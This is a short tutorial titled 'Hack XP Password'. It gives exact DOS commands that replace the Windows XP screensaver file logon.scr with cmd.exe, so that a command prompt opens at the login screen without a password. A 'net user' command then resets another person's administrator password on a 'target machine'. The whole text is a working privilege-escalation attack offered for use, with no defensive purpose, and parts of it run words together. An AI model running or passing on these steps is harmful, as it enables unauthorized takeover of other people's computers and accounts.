40. Eg2:Hack XP Password

If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly. Forget about the explanations as it is for thesake of clarity purposeCommand Expalnationcd\ *drops to rootcd\windows\system32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes "net user here> password"
If the Administrator Account is called Frank and you want the password blah enterthis "net user Frank blah" and this changes the password on franks machine to blahand you should be in.